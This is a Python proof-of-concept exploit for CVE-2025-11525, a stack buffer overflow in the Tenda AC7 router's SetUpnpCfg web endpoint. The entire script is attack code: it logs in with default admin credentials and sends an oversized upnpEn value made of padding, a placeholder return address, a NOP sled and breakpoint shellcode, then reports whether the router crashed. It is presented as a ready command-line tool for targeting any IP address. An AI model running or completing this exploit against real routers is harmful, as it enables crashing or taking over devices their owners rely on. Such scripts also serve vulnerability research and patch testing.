CVE-2025-11525

#!/usr/bin/env python3 # CVE-2025-11525 - Tenda AC7 SetUpnpCfg Stack Buffer Overflow PoC # Author: Security Researcher # Description: Exploits stack-based buffer overflow in /goform/SetUpnpCfg endpoint # via the upnpEn parameter in Tenda AC7 router firmware 15.03.06.44 import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_ip, target_port=80, username="admin", password="admin"): """ Exploit CVE-2025-11525: Stack-based buffer overflow in Tenda AC7 router via /goform/SetUpnpCfg endpoint with malicious upnpEn parameter. """ base_url = f"http://{target_ip}:{target_port}" login_url = f"{base_url}/login/Auth" exploit_url = f"{base_url}/goform/SetUpnpCfg" # Step 1: Authenticate with the router (low privilege required) session = requests.Session() login_data = { "username": username, "password": password } print(f"[*] Authenticating to {base_url}...") try: login_response = session.post(login_url, data=login_data, timeout=10, verify=False) print(f"[*] Login response status: {login_response.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft the malicious payload # The upnpEn parameter triggers stack-based buffer overflow # Padding to overflow the stack buffer padding = "A" * 256 # Adjust based on buffer size # Return address overwrite (example - would need to be adjusted based on firmware analysis) ret_address = b"\x41\x41\x41\x41" # NOP sled + shellcode placeholder nop_sled = b"\x90" * 64 shellcode_placeholder = b"\xCC" * 128 # INT3 breakpoint for debugging payload = padding.encode() + ret_address + nop_sled + shellcode_placeholder # Step 3: Send the exploit request exploit_data = { "upnpEn": payload.decode('latin-1') } print(f"[*] Sending exploit payload to {exploit_url}...") try: exploit_response = session.post(exploit_url, data=exploit_data, timeout=10, verify=False) print(f"[*] Exploit response status: {exploit_response.status_code}") print(f"[*] Response: {exploit_response.text[:200]}") except Exception as e: print(f"[*] Connection error (possible crash): {e}") print("[+] Target may have crashed - overflow triggered!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.0.1 80 admin admin") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 username = sys.argv[3] if len(sys.argv) > 3 else "admin" password = sys.argv[4] if len(sys.argv) > 4 else "admin" exploit(target_ip, target_port, username, password)

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